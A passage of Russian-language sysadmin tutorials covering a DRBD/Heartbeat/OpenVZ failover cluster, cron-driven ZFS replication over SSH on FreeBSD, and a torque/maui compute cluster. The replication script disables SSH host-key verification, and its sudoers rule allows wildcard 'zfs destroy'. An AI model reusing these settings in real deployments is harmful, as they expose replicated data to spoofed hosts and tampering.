           degr-wfc-timeout 120;    # 2 minutes.
           # wait-after-sb;
         }
    
         disk {
           on-io-error   detach;
           no-disk-flushes;
           no-md-flushes;
         }
    
         syncer {
           rate 30M;
           al-extents 257;
         }
    
         net {
           sndbuf-size 512k;
    
           timeout       60;    #  6 seconds  (unit = 0.1 seconds)
           connect-int   10;    # 10 seconds  (unit = 1 second)
           ping-int      10;    # 10 seconds  (unit = 1 second)
           ping-timeout   5;    # 500 ms (unit = 0.1 seconds)
    
           max-buffers     2048;
    
           cram-hmac-alg "sha1";
           shared-secret "DJujhjltepbyfFDRbtddtLzlmrf";
    
           after-sb-0pri discard-younger-primary;
           after-sb-1pri consensus;
           after-sb-2pri disconnect;
           rr-conflict disconnect;
         }
       }
    
       resource db {
    
         protocol C;
    
         on deimos {
           device     /dev/drbd0;
           disk       /dev/VGroup00/db;
           address    192.168.5.101:7788;
           flexible-meta-disk  internal;
         }
    
         on phobos {
           device     /dev/drbd0;
           disk       /dev/VGroup00/db;
           address    192.168.5.102:7788;
           flexible-meta-disk  internal;
         }
       }
    
       resource apps {
    
         protocol C;
    
         on deimos {
           device     /dev/drbd1;
           disk       /dev/VGroup00/apps;
           address    192.168.5.101:7789;
           flexible-meta-disk  internal;
         }
    
         on phobos {
           device     /dev/drbd1;
           disk       /dev/VGroup00/apps;
           address    192.168.5.102:7789;
           flexible-meta-disk  internal;
         }
       }
    
    В приведённом примере: 
    Параметры в секции common наследуются всеми ресурсными секциями. При
    необходимости для конкретных ресурсов эти параметры можно переопределить.
    
    Настройками определено два DRBD-устройства: /dev/drbd0 и /dev/drbd1, для
    каждого из которых используются два хранилища: на узле phobos и на узле deimos.
    
    Параметр syncer.rate требуется установить исходя из пропускной способности
    сетевого интерфейса между узлами. Параметр задается в единицах байт/сек,
    суффикс M означает умножение на 1 млн.
    
    Параметр common.net.shared-secret требуется установить в значение пароля,
    используемого для аутентификации взаимодействия между узлами.
    
    Сетевые адреса узлов и номера портов необходимо установить в соответствии с
    сетевой конфигурацией, соответствующие параметры:
    
       resource(db).on(deimos).address 
       resource(db).on(phobos).address 
       resource(apps).on(deimos).address 
       resource(apps).on(phobos).address 
    
    Подготовленный конфигурационный файл /etc/drbd.conf должен быть одинаков на
    обоих узлах. Передать файл с узла phobos на узел deimos можно командой:
    
       scp /etc/drbd.conf deimos:/etc/drbd.conf
    
    Необходимо убедиться, что DRBD запущен. Для этого используется команда
    /etc/init.d/drbd status. Если DRBD остановлен, требуется выполнить команду
    /etc/init.d/drbd start.
    
    После создания и синхронизации конфигурационного файла необходимо выполнить
    инициализацию томов DRBD выполнением (на каждом узле) следующих команд:
    
       drbdadm create-md db
       drbdadm create-md apps
    
    После завершения томов необходимо форсировать синхронизацию томов между узлами.
    Для этого следует выбрать (произвольным образом) один из узлов в качестве
    основного, и выполнить на нем команды:
    
       drbdsetup /dev/drbd0 primary -o
       drbdsetup /dev/drbd1 primary -o
    
    Ход синхронизации можно контролировать по содержимому файла /proc/drbd. После
    завершения синхронизации рекомендуется перезагрузить оба узла и
    проконтролировать, что запуск DRBD был выполнен автоматически и что состояние
    томов является синхронным, путём выполнения (после перезагрузки) команды
    /etc/init.d/drbd status.
    
    Создание виртуальных окружений 
    
    Перед созданием виртуальных окружений необходимо принять решение, на каком из
    физических серверов какое из двух виртуальных окружений должно функционировать
    в нормальном режиме. Предположим, что сервер баз данных (db) будет
    функционировать на физическом сервере deimos, а сервер приложений (apps) - на
    физическом сервере phobos.
    
    Действия по настройке каждого из виртуальных окружений будем выполнять на том
    физическом сервере, на котором данное окружение будет в дальнейшем
    преимущественно функционировать. Затем скопируем необходимые настройки на
    второй сервер.
    
    Первым шагом в создании виртуальных окружений является создание файловых
    систем, в которых будут размещаться данные этих виртуальных окружений:
    
    1.Создаются каталоги для монтирования файловых систем виртуальных окружений 
    
    2.Соответствующей DRBD-устройство переводится в режим "primary" 
    
    3.Создается файловая система ext3 на DRBD-устройстве 
    
    4.Отключаются автоматические проверки целостности файловой системы при монтировании 
    
    5.Выполняется монтирование созданной файловой системы 
      
    На сервере deimos выполняем команды: 
    
       mkdir /Data
       mkdir /Data/db
       mkdir /Data/apps
       drbdadm primary db
       mkfs -t ext3 /dev/drbd0
       tune2fs  -c 0 -i 0 /dev/drbd0
       mount /dev/drbd0 /Data/db
      
    На сервере phobos выполняем команды: 
    
       mkdir /Data
       mkdir /Data/db
       mkdir /Data/apps
       drbdadm primary apps
       mkfs -t ext3 /dev/drbd1
       tune2fs  -c 0 -i 0 /dev/drbd1
       mount /dev/drbd1 /Data/apps
    
    Создание виртуальных окружений необходимо выполнять на основе шаблона. Такой
    шаблон можно подготовить самостоятельно в соответствии с инструкцией
    (http://wiki.openvz.org/Debian_template_creation), либо использовать готовый.
    
    Для создания виртуальных окружений используются команды: 
    
    На сервере deimos
    
       vzctl create 101 --ostemplate debian-5.0-i386-my --ipadd \
          192.168.5.103 --hostname db --private /Data/db/vm
    
    На сервере phobos
    
       vzctl create 102 --ostemplate debian-5.0-i386-my --ipadd \
          192.168.5.104 --hostname apps --private /Data/apps/vm
    
    Необходимо учесть следующие особенности: 
    
    1.Виртуальным окружениям необходимо присвоить разные идентификаторы (в нашем
    примере - 101 и 102), иначе их нельзя будет запустить на одном сервере.
    
    2.IP-адреса и имена хостов виртуальных окружений должны соответствовать
    используемой сетевой конфигурации.
    
    3.В параметре ostemplate нужно указать имя используемого шаблона виртуальных окружений. 
    
    4.Подкаталог 'vm' томов виртуальных окружений не должен существовать на момент
    выполнения команды vzctl create, иначе команда завершится с ошибкой.
    
    После создания виртуальных окружений необходимо установить для них ресурсные
    ограничения и проверить формальную корректность выполненных настроек. Величина
    ресурсных ограничений зависит от доступных аппаратных ресурсов серверов и от
    потребностей запускаемых приложений. В нашем примере используются следующие
    команды настройки:
    
    На сервере deimos
    
       vzctl set 101 --numproc 300:300 --kmemsize 32m:40m \
         --vmguarpages 512m:unlimited --privvmpages 512m:512m \
         --oomguarpages 256m:unlimited  --shmpages 256m:256m \
         --tcpsndbuf 1m:2m --tcprcvbuf 1m:2m --save
    
    На сервере phobos
    
       vzctl set 102 --numproc 300:300 --kmemsize 32m:40m \
         --vmguarpages 512m:unlimited --privvmpages 512m:512m \
         --oomguarpages 256m:unlimited  --shmpages 256m:256m \
         --tcpsndbuf 1m:2m --tcprcvbuf 1m:2m --save
    
    В приведённом примере разрешено запускать до 300 потоков выполнения (параметры
    numproc и kmemsize), использующих до 512 Мбайт виртуальной памяти (параметры
    vmguardpages, privvmpages), с гарантией отсутствия вытеснения при нехватке
    памяти до 256 Мбайт (параметр oomguarpages), и с допустимым использованием
    разделяемой памяти System V до 256 Мбайт (параметр shmpages). Также установлен
    увеличенный размер буферов протокола TCP.
    
    Для проверки корректности полученной конфигурации используется программа vzcfgvalidate: 
    
    На сервере deimos
    
       vzcfgvalidate /etc/vz/conf/101.conf 
    
    На сервере phobos
    
       vzcfgvalidate /etc/vz/conf/102.conf 
    
    Необходимо отключить автоматический запуск виртуальных окружений при старте
    сервера, так как запуск и остановка должны выполняться под управлением системы Heartbeat.
    
    На сервере deimos
    
       vzctl set 101 --onboot no --save
    
    На сервере phobos
    
       vzctl set 102 --onboot no --save
    
    Для запуска и остановки виртуальных окружений вручную используются команды: 
    
    На сервере deimos
    
       vzctl start 101   # Запуск
       vzctl stop 101    # Остановка
    
    На сервере phobos
    
       vzctl start 102   # Запуск
       vzctl stop 102    # Остановка
    
    ВНИМАНИЕ! Запуск и остановка виртуальных окружений вручную, как и другие
    операции ручного манипулирования состоянием управляемых Heartbeat ресурсов
    (включая тома DRBD и созданные на них файловые системы) допускается только
    тогда, когда службы Heartbeat остановлены на обоих узлах кластера. Или - в
    нашем текущем примере - ещё не настроены вовсе.
    
    После первоначального запуска созданных виртуальных окружений можно выполнить
    установку в эти виртуальные окружения прикладного программного обеспечения, а
    можно и отложить действия по установке до завершения настройки кластера. В
    нашем примере можно установить сервер СУБД в виртуальное окружение db и сервер
    приложений в виртуальное окружение apps:
      
    На сервере deimos выполняем команды: 
    
       vzctl enter 101
       aptitude install postgresql
       exit
      
    На сервере phobos выполняем команды: 
    
       vzctl enter 102
       cd /root
       mkdir DISTRIB
       cd DISTRIB
       scp files.sample.com:/distrib/jdk-6u22-linux-i586.bin .
       scp files.sample.com:/distrib/apache-tomcat-6.0.29.tar.gz .
       cd /opt
       sh /root/DISTRIB/jdk-6u22-linux-i586.bin
       tar xfz /root/DISTRIB/apache-tomcat-6.0.29.tar.gz
       exit
    
    Описание полного состава действий по настройке СУБД, сервера приложений и самих
    приложений выходит за рамки данной статьи.
    Конфигурационные файлы виртуальных окружений необходимо сохранить на обоих
    узлах кластера. Для этого на узле phobos выполним следующие команды:
    
       scp deimos:/etc/vz/conf/101.conf  /etc/vz/conf/
       scp /etc/vz/conf/102.conf  deimos:/etc/vz/conf/
    
    
    Настройка Heartbeat 
    
    В рамках подготовки к настройке Heartbeat необходимо активировать модуль ядра
    softdog, обеспечивающий автоматическую перезагрузку физического сервера при
    длительном отсутствии активности со стороны системы Heartbeat. Для этого на
    обоих узлах кластера (phobos и deimos) выполняются следующие команды:
    
       modprobe softdog nowayout=0
       echo "softdog nowayout=0" >>/etc/modules.conf
    
    Настройка Heartbeat заключается в создании трёх конфигурационных файлов: 
    
       /etc/ha.d/ha.cf - файл основной конфигурации Heartbeat 
       /etc/ha.d/authkeys - файл аутентификации узлов 
       /etc/ha.d/haresources - файл описания ресурсов кластера 
    
    Файлы authkeys и haresources должны быть одинаковы на обоих узлах кластера.
    Файлы ha.cf также должны совпадать с точностью до параметров метода контроля
    состояния соседнего узла кластера (в нашем примере используется метод ucast,
    для которого обязательно указать IP другого узла кластера - при использовании
    других методов файлы ha.cf на обоих узлах кластера обычно совпадают).
    
    Пример содержимого файла authkeys: 
    
       auth 1
       1 sha1 4ffb8d2d786ba67772045b2eeac899ed
    
    Команда для генерации ключа, помещаемого в файл файла authkeys: 
    
       (dd if=/dev/urandom bs=1024 count=1 2>/dev/null) | md5sum
    
    Пример файла haresources, настроенного для нашего случая: 
    
       deimos drbddisk::db     Filesystem::/dev/drbd0::/Data/db       openvz::101
       phobos drbddisk::apps   Filesystem::/dev/drbd1::/Data/apps     openvz::102
    
    Здесь предполагается наличие в каталоге /etc/ha.d/resource.d следующих скриптов: 
    
    drdbdisk - управление DRBD 
    
    Filesystem - обеспечение монтирования файловой системы 
    
    openvz - управление виртуальными окружениями OpenVZ 
    
    Скрипты drdbdisk и Filesystem поставляются в составе пакета heartbeat-2 ОС Debian GNU/Linux 5.0. 
    
    Скрипт openvz приводим здесь:
    
       #!/bin/bash
       #
       # This script is inteded to be used as resource script by heartbeat
       #
       ###
    
       VZCTL="/usr/sbin/vzctl"
    
       if [ "$#" -eq 2 ]; then
         RES="$1"
         CMD="$2"
       else
         RES="101"
         CMD="$1"
       fi
    
       case "$CMD" in
           start)
               $VZCTL start $RES
               ;;
           stop)
               $VZCTL stop $RES
               ex=$?
               case $ex in
               0)
                    exit 0
                    ;;
               *)
                    exit 1
                    ;;
               esac
               ;;
          status)
            ST=$( $VZCTL status $RES 2>&1 )
            STATE=$( echo "$ST" | (read s1 s2 s3 s4 st && echo $st) )
            case $STATE in
                    running)
                            echo "running"
                            exit 0 # LSB status "service is OK"
                            ;;
                    down)
                            echo "stopped" ;;
                    *)
                            echo "stopped ($ST)" ;;
            esac
            exit 3 # LSB status "service is not running"
               ;;
          *)
            echo "Usage: openvz resource {start|stop|status}"
            exit 1
            ;;
       esac
       exit 0
    
    
    Примеры файлов ha.cf на серверах phobos и deimos: 
      
    На сервере deimos: 
    
       keepalive    1
       deadtime    15
       warntime     5
       initdead   120
    
       ucast eth0 192.168.5.102
    
       auto_failback on
       watchdog /dev/watchdog
    
       node deimos
       node phobos
      
    На сервере phobos: 
    
       keepalive    1
       deadtime    15
       warntime     5
       initdead   120
    
       ucast eth0 192.168.5.101
    
       auto_failback on
       watchdog /dev/watchdog
    
       node deimos
       node phobos
    
    
    Дополнительные настройки Heartbeat 
    
    Крайне желательно в промышленной конфигурации настроить отдельный канал
    контроля состояния серверов (например, на основе соединения через COM-порты).
    Для реализации такой схемы потребуется изменение настроек в файле ha.cf.
    
    Также крайне желательно обеспечить функционирование STONITH-устройства. Как
    минимум должно быть настроено аварийное завершение работы узлов кластера путём
    входа через SSH (STONITH-модуль external/ssh), идеальным же вариантом является
    подача команды в систему управления электропитанием либо в отдельный блок
    управления состоянием сервера (iLo, ...).
    
    
    Тестирование кластера 
    
    Для тестирования необходимо сымитировать стандартные ситуации: 
    
    1.Выключение узла deimos 
    2.Включение узла deimos через некоторое время 
    3.Выключение узла phobos 
    4.Включение узла phobos через некоторое время 
    5.Одновременная загрузка узлов кластера 
    6.Загрузка узлов кластера с задержкой относительно друг друга 
    
    В случае реализации описанных выше дополнительных настроек Heartbeat также
    полезно выполнить дополнительные тесты:
    
    1. Нарушение сетевого взаимодействия между узлами кластера (возможно - при
    сохранении доступа к ним из внешних сетей)
    
    Обслуживание: расширение DRBD-дисков 
    
    Для расширения доступного виртуальным окружениям дискового пространства в
    группе томов LVM, в которой были созданы тома DRBD, должно быть достаточное
    свободное пространство.
    
    Подключение дополнительных дисков 
    
    В случае отсутствия достаточного свободного пространства можно расширить группу
    томов путём включения в неё дополнительных физических томов. Для этого
    необходимо, чтобы к используемым серверам были подключены необходимые дисковые
    устройства. В большом числе случаев для подключения дополнительных дисков будет
    необходимо выполнить остановку соответствующего сервера, в нашем случае эту
    операцию можно выполнить без длительного перерыва в предоставлении сервисов
    пользователям, за счёт использования возможностей кластера.
    Пример сценария добавления дисков: 
    
    1.Остановить (выключить) сервер deimos. Все сервисы мигрируют на сервер phobos. 
    
    2.Добавить дополнительные диски в сервер deimos, выполнить необходимые
    настройки BIOS и контроллеров для обеспечения доступа к дискам.
    
    3.Включить сервер deimos. Дождаться синхронизации томов DRBD (контроль по
    содержимому файла /proc/drbd) и завершения обратной миграции части сервисов
    обратно на сервер deimos.
    
    4.Остановить (выключить) сервер phobos. Все сервисы мигрируют на сервер deimos. 
    
    5.Добавить дополнительные диски в сервер phobos. 
    
    6.Включить сервер phobos. 
    
    При выполнении работ по подключению дисков по описанному выше сценарию в нашем
    случае будет два перерыва в предоставлении сервисов пользователям, каждый из
    перерывов в пределах 1 минуты.
    
    Подключенные дополнительные диски необходимо разметить и разместить на них
    физические тома LVM. Для разметки дисков используем программу GNU Parted, если
    она не установлена - устанавливаем её командой aptitude install parted. Пример
    команд для выполнения разметки диска:
    
       deimos:~# parted /dev/sdc
       GNU Parted 1.8.8
       Using /dev/sdc
       Welcome to GNU Parted! Type 'help' to view a list of commands.
       (parted) print
       Error: /dev/sdc: unrecognised disk label
       (parted) mklabel
       New disk label type? msdos
       (parted) mkpart primary 1s
      -1s 
       (parted) set 1 lvm on
       (parted)
       print
       Model: ATA VBOX HARDDISK (scsi)
       Disk /dev/sdc: 2147MB
       Sector size (logical/physical): 512B/512B
       Partition Table: msdos
    
       Number  Start  End     Size    Type     File system  Flags
       1      512B   2147MB  2147MB  primary               lvm  
    
       (parted) quit
       Information: You may need to update    /etc/fstab.
    
       deimos:~# 
    
    Для создания физического тома LVM и включения его в необходимую группу томов используем команды: 
    
       pvcreate /dev/sdc
       vgextend Data /dev/sdc
    
    
    Расширение файловых систем виртуальных окружений 
    
    Для расширения файловой системы конкретного виртуального окружения следует
    последовательно выполнить три операции:
    
    1.Увеличить размер тома LVM 
    2.Расширить том DRBD 
    3.Расширить файловую систему 
    
    Все три операции могут быть выполнены без приостановки сервисов кластера,
    однако должны выполняться строго при наличии в составе кластера двух
    работоспособных узлов.
    
    Увеличение размера тома LVM выполняется на обоих узлах кластера командой
    lvextend. Пример увеличения размера тома LVM виртуального окружения db на 1 Гбайт:
    
    На сервере phobos
    
       lvextend -L+1G /dev/VGroup00/db
    
    На сервере deimos
    
       lvextend -L+1G /dev/VGroup00/db
    
    Операция расширения тома DRBD выполняется синхронно на обоих узлах кластера, и
    должна инициироваться выполнением команды drbdadm resize. Данная команда должна
    быть выполнена на узле кластера, являющемся основным (primary) для
    соответствующего тома. Пример выполнения команды (в нашем случае - на сервере deimos):
    
       drbdadm resize db
    
    Выполнение данной команды приведёт к началу синхронизации между узлами
    добавленного пространства логического тома, прогресс синхронизации можно
    отследить по содержимому файла /proc/drbd.
    Расширение файловой системы производится путём выполнения команды resize2fs.
    Данная команда также должна быть выполнена на узле кластера, являющемся
    основным (primary) для соответствующего тома, и может выполняться без
    размонтирования файловой системы. Пример выполнения команды (в нашем случае -
    на сервере deimos):
    
       resize2fs /dev/drbd0
    
     
    ----* Непрерывная репликация ZFS во FreeBSD   Автор: Алексей Волков  [комментарии]
     
    Введение
    
    С самого начала появления ZFS, я записался в ряды ее поклонников, и до сих пор
    ни разу не пожалел об этом. И на страницах opennet.ru я уже успел поделиться
    приятными моментами ее использования на OS FreeBSD.
    
    Сегодня речь пойдет о возможностях непрерывной репликации ZFS между хостами FreeBSD.
    
    Цели
    
    Лично мне это стало не просто полезным, а необходимым, как только возникла
    задача использования виртуальных окружений, и в рамках одного физического
    сервера создавалась группа виртуальных серверов.
    
    Первоначальная задумка выглядела следующим образом:
    
    
    * Основной сервер виртуализации
    * Сервер горячей замены (по своим характеристикам близкий, но не идентичный основному)
    * Коммерческое ПО для виртуализации, не предполагалось, только OpenSource.
    
    Задача абсолютной бесперебойной работы не ставилась, основной критерий -
    быстрое (в пределах  5 минут) время восстановления IT сервисов в случае отказа
    основного сервера, с минимальной потерей пользовательских данных. Другими
    словами, если основной сервер выходит из строя, то все данные пользователей,
    сохраненные за несколько минут до отказа, не должны быть утеряны.
    
    Вариант с общим NAS, разделяемый между серверами виртуализации, по ряду причин,
    в том числе и финансовых, так же не рассматривался.
    
    Таким образом, данную конфигурацию можно кратко охарактеризовать, как среда
    виртуализации начального уровня с элементами отказоустойчивости.
    
    
    Средства
    
    В качестве хост системы выступает FreeBSD 8.1 с гипервизором VirtualBox OSS.
    
    Я не буду подробно останавливаться на процессе установки и настройки
    VirtualBox, скажу только то, что оба сервера и основной и резервный имеют
    идентичное ПО, а все конфигурации и образы виртуальных серверов расположены
    внутри ZFS с точкой монтирования /var/IMAGES.
    
    В таком виде, задача обеспечения отказоустойчивости сводится к синхронизации
    содержимого /var/IMAGES с основного сервера на резервный, чтобы в случае
    отказа, оставалась возможность запуска всех серверов на резервном сервере из
    актуальных образов.
    
    Очевидным является тот факт, что чем чаще происходит синхронизация, тем лучше.
    Так же очевидно что rsync, не смотря на все его прелести, не способен
    обеспечить синхронизацию заданными выше временными рамками.
    Беглый поиск выявляет упоминания о коммерческих реализациях zfs репликации а
    так же стандартных возможностях ZFS создания,  и что самое важное, обмена ими
    между хостами посредством zfs send/receive. Об этом упоминалось, в том числе и на
    страницах opennet.
    
    Именно zfs send/receive будет использован для непрерывной репликации в режиме
    близкому к реальному времени.
    
    Репликацией должен заниматься скрипт, запускаемый из cron, интервал запуска 1 минута.
    
    Скрипт запускается на резервном сервере и должен:
    
    * Создать новый снапшот на основном сервере.
    * Все снапшоты, задействованные в процессе репликации, должны иметь некую
    отличительную особенность (префикс в своем имени).
    * Выявить самый свежий общий снапшот, относительно которого, можно провести
    инкрементальную репликацию. В случае его отсутствия провести полную репликации.
    * Провести репликацию через send/receive
    * Удалить неиспользуемые снапшоты.
    * Запротоколировать все свои действия.
    
    Как видно из краткого плана мероприятий, резервному серверу придется запускать
    команды на основном. SSH замечательно справиться с этим, но нужно иметь ввиду что:
    
    * запускать через скрипт команды на удаленном сервере от имени рута ( а значит
    хранить или пароль или ключ рута) не слишком хорошая идея.
    * ZFS на FreeBSD до сих пор не дружит с ZFS Delegated Administration
    
    Учитывая эти два факта, следует завести на основном сервере на
    привилегированного пользователя и выполнять команды zfs через sudo , разрешив
    ему необходимый минимум.
    
    В файле /usr/local/etc/sudoers.d/zfs_replication определяем для пользователя следующие разрешения
    
       synczfs      ALL = NOPASSWD : /sbin/zfs snapshot *, /sbin/zfs send *,/sbin/zfs list *,/sbin/zfs destroy *
    
    А теперь непосредственно скрипт /root/zfs-nrt-replication.sh
    
       #!/bin/sh
       REMOTE_HOST="master.local"
       FS="/var/IMAGES"
       REMOTE_POOL="tank0"
       LOCAL_POOL="tank0"
       SNAPSHOTMARK="SYNC-"
    
    
       SSHKEY="/root/syncimages_id"
       SSHFLAGS="-i $SSHKEY -o CheckHostIP=no -o StrictHostKeyChecking=no \
       -o IdentitiesOnly=yes -o BatchMode=yes -o  GlobalKnownHostsFile=/dev/null -l synczfs"
       SSHCMD="/usr/bin/ssh $SSHFLAGS $REMOTE_HOST sudo "
       INCREMENTAL=""
    
       (
    
       echo "Snapshoting remote FS"
    
       $SSHCMD "zfs snapshot -r $REMOTE_POOL$FS@$SNAPSHOTMARK`uuidgen`"
    
       RECENT_COMMON_SNAPSHOT=""
    
       for R in `$SSHCMD zfs list -H -o name -s creation -t snapshot -r $REMOTE_POOL$FS | grep $REMOTE_POOL$FS@`
       do
          for L in `zfs list -H -o name -s creation -t snapshot -r $LOCAL_POOL$FS | grep $LOCAL_POOL$FS@`
          do
              if [ "${R##*@}" = "${L##*@}" ]; then
                 RECENT_COMMON_SNAPSHOT=${R##*@}
                 INCREMENTAL="-I $REMOTE_POOL$FS@$RECENT_COMMON_SNAPSHOT"
              fi
          done
          REMOTE_LATEST_SNAPSHOT=${R##*@}
       done
    
       echo "Syncronizing remote FS to local"
    
       echo "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT"
    
       $SSHCMD "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT" | \
       /usr/local/bin/pipemeter --autooff --blocksize 16M --interval 60 --log | zfs receive -dF $LOCAL_POOL
    
       if [ $? -eq 0 ]; then
          echo "Cleaning useless remote snapshots"
          $SSHCMD "zfs list -r -t snapshot -o name -H $REMOTE_POOL$FS  | grep \"$SNAPSHOTMARK\" | \
          egrep -v  \"@($RECENT_COMMON_SNAPSHOT|$REMOTE_LATEST_SNAPSHOT)\" | xargs -I% sudo zfs destroy %"
       fi
    
       echo "Done."
       ) 2>&1 | logger -s -p ftp.info -t SYNCZFS
    
    Сам скрипт запускается на резервном сервере из cron следующим образом
    
       */1 * * * * root  /usr/sbin/daemon -p /var/run/zfs-sync.pid -f /root/zfs-nrt-replication.sh > /dev/null
    
    Итак, на резервном сервере скрипт запускается каждую минуту, но если он еще не
    закончил свое выполнение с прошлого запуска, то попытка пропускается.  Весь
    вывод скрипта направляется в лог-файл /var/log/xferlog. Для более наглядной
    оценки скорости используется дополнительное ПО pipemeter, в результате чего
    в лог файл, с минутным интервалом, добавляется информация об объеме
    передаваемых данных, а так же скорости обмена.
    
    Дополнительно, можно настроить автоматический снапшотинг, чтобы иметь версии
    виртуальных машин различной степени давности (часовой, дневной, недельной и
    т.д.). Эти версии так же будут реплицироваться на резервный сервер.
    
    И теперь, в случае обнаружения отказа в работе основного сервера,
    администратору остается запустить виртуальную машину на резервном сервере, но и
    этот процесс так же можно автоматизировать, но это материал еще для одной
    статьи :)
    
     
    ----* Настройка вычислительного кластера на базе torque/maui (доп. ссылка 1)   Автор: Sergey Korablin  [комментарии]
     
    Цель: объединить несколько серверов в один вычислительный кластер, предоставить
    пользователям простой способ запуска вычислительных задач не конфликтуя друг с
    другом. Для этого необходимы несколько серверов под управлением Linux(ниже
    описывается установка на RedHat), быстрый канал между серверами, ПО для
    организации очереди, вычислительное ПО умеющее распараллеливать вычисление на
    несколько узлов (например с помощью mpi).
    
    Установка и настройка ПО
    
    Torque - менеджер ресурсов, отвечает за отслеживание доступного количества
    ресурсов на узлах кластера и запуск задач.
    
    Первым шагом устанавливаем torque на управляющую ноду. Скачиваем исходники с
    http://www.clusterresources.com. Установка происходит обычным для Linux способом:
    
       tar -xzvf torque-2.x.x.tgz
       cd torque-2.x.x
       ./configure --prefix=/usr/local
       make
       make install или make rpm 
       (во втором случае будет собран rpm пакет который затем можно установить)
    
    Копируем скрипты запуска сервера pbs.
    
       cp contrib/init.d/pbs_server /etc/init.d/
    
    В файл /var/spool/torque/server_priv/nodes добавляем все узлы нашего кластера и
    указываем специфичные для этих узлов параметры. Параметры для описания узлов
    можно добавлять самостоятельно какие вам необходимы: архитектура узла (x86,
    sparc, ...), способ подключения к сети (ethernet, infiniband, ...) и т.п. Пример:
    
       s200 np=4 arch=x86_64
       s200-01 np=2 arch=x86_32
       s200-02 np=2 arch=x86_32
       s200-03 np=4 arch=x86_64
    
    np - количество процессоров на узле.
    
    Запускаем pbs сервер /etc/init.d/pbs_server start
    
    Создадим одну дефолтную очередь batch на сервере.
    
       # qmrg
       create queue batch
       set queue batch queue_type = Execution
       set queue batch resources_default.nodes = 1
       set queue batch resources_default.walltime = 01:00:00
       set queue batch resources_available.nodect = 999999
       set queue batch enabled = True
       set queue batch started = True
       set server acl_hosts = s200
       set server default_queue = batch
       set server log_events = 511
       set server mail_from = adm
       set server scheduler_iteration = 600
       set server node_check_rate = 150
       set server tcp_timeout = 6
       set server next_job_number = 21</i>
    
    Очередей может быть несколько, задачи можно направлять в разные очереди с помощью списков доступа.
    
    Устанавливаем torque на все вычислительные узлы кластера так же как и на
    управляющий узел, единственное необходим скрипт запуска монитора pbs, а не сервера.
    
       cp contrib/init.d/pbs_mon /etc/init.d/
    
    Прописываем на вычислительных узлах в файл /var/spool/torque/mom_priv/config наш pbs сервер:
    
       $pbsserver      s200              # s200 - указываем управляющий узел
       $logevent       255               # bitmap of which events to log</i>
    
    Запускаем pbs_mon 
    
       /etc/init.d/pbs_mon start
    
    Правильно будет установить и настроить все необходимое ПО на один
    вычислительный узел, а затем клонировать ее на остальные узлы кластера.
    
    Если все сделано правильно, на управляющем узле можно выполнить команду
    "pbsnodes -a", вывод должен быть примерно следующий:
    
       s200
       state = free
       np = 4
       ntype = cluster
       status = opsys=linux,uname=Linux s200 2.6.9-67.0.15.ELsmp #1 SMP Tue Apr 22 13:58:43 EDT 2008 x86_64,sessions=4793 6052
          9319,nsessions=3,nusers=2,idletime=7,totmem=16343180kb,availmem=15996556kb,physmem=8150040kb,ncpus=4,
         loadave=0.00,netload=13384946066,state=free,jobs=,varattr=,rectime=1240470984
    
       s200-01
       state = free
       np = 2
       ntype = cluster
       status = opsys=linux,uname=Linux s200-01 2.6.9-67.0.15.ELsmp #1 SMP Tue Apr 22 13:58:43 EDT 2008 x86_64,sessions=? 
         0,nsessions=? 0,nusers=0,idletime=153089,totmem=12231176kb,availmem=12080240kb,physmem=4038036kb,ncpus=2,loadave=0.00,
         netload=251768374518,state=free,jobs=,varattr=,rectime=1240470944
    
       s200-02
       state = free
       np = 2
       ntype = cluster
       status = opsys=linux,uname=Linux s200-02 2.6.9-67.0.15.ELsmp #1 SMP Tue Apr 22 13:58:43 EDT 2008 x86_64,sessions=? 
         0,nsessions=? 0,nusers=0,idletime=76890,totmem=12231176kb,availmem=12037100kb,physmem=4038036kb,ncpus=2,
    loadave=0.00,netload=272192353204,state=free,jobs=,varattr=,rectime=1240470956
       ...
    
    
    Запустим какую-нибудь задачу на выполнение (для запуска залогинтесь под обычным
    пользователем, не под root-ом):
    
       $ su - testuser
       $ echo "sleep 20" | qsub
       22.s200
    
    Проверим состояние:
    
       $ qstat 
       Job id                    Name             User            Time Use S Queue
    ------------------------- ---------------- --------------- -------- - -----
       22.s200                   STDIN            testuser              0 Q batch          
    
    
    Задача будет висеть в очереди но не выполниться, так как у нас не установлен и
    не настроем менеджер очереди. Вообще torque содержит свой шедулер (pbs_sched),
    но он имеет ограниченный функционал и настройки. Мы будем использовать более
    развитый шедулер - Maui.
    
    Пока удалим наше задание:
    
       $ qdel 22.s200
    
    
    Установка менеджера очереди Maui
    
    Maui занимается тем, что опрашивает torque на предмет наличия свободных
    ресурсов и задач в очереди которые необходимо выполнить. На основе полученных
    данных и своих настроек, он принимает решение о запуске какой-либо задачи и
    посылает команду серверу torque выполнить ее. Maui позволяет гибко настроить
    различные стратегии заполнения кластера, приоритеты для задач по различным
    критериям: количеству запрашиваемых ресурсов, принадлежности пользователя к
    какой-то группе и т.д.
    
    Скачиваем исходники с сайта http://www.clusterresources.com/ и устанавливаем на
    управляющей ноде (теоретически можно установить куда угодно, но чтобы не
    усложнять установим там же где и сервер torque). Настройка maui производится в
    файле /usr/local/maui/maui.cfg Большую часть настроек сделает конфигуратор во
    время установки. Далее для интеграции maui с torque надо указать, что мы
    используем менеджер ресурсов PBS (torque): RMCFG[S200] TYPE=PBS
    
    Получаем примерно следующий минимальный конфиг:
    
       SERVERHOST            s200
       ADMIN1                root
       RMCFG[S200]           TYPE=PBS
       AMCFG[bank]           TYPE=NONE
       RMPOLLINTERVAL        00:00:30
       SERVERPORT            42559
       SERVERMODE            NORMAL
       LOGFILE               maui.log
       LOGFILEMAXSIZE        10000000
       LOGLEVEL              3
       QUEUETIMEWEIGHT       1 
       BACKFILLPOLICY        FIRSTFIT
       RESERVATIONPOLICY     CURRENTHIGHEST
       NODEALLOCATIONPOLICY  MINRESOURCE
    
    Запускаем maui:
    
       # maui
    
    Еще раз запустим тестовую задачу:
    
       $ echo "sleep 20" | qsub
       23.s200
    
    qstat должна показать, что задача встала в очередь (статус Q), затем статус
    должен поменяться на R (выполняется) и через 20 секунд задача должна из очереди
    исчезнуть. Если все прошло так как описано выше - мы в шаге от финала. Остается
    только прикрутить выполнение полезной задачи к нашему кластеру.
    
    
    PBS скрипты
    
    Для запуска задач будем использовать PBS скрипты. PBS-скрипт - это обычный
    shell скрипт в котором в виде специальным образом оформленных комментариев
    начинающихся с #PBS можно передать менеджеру ресурсов необходимые параметры,
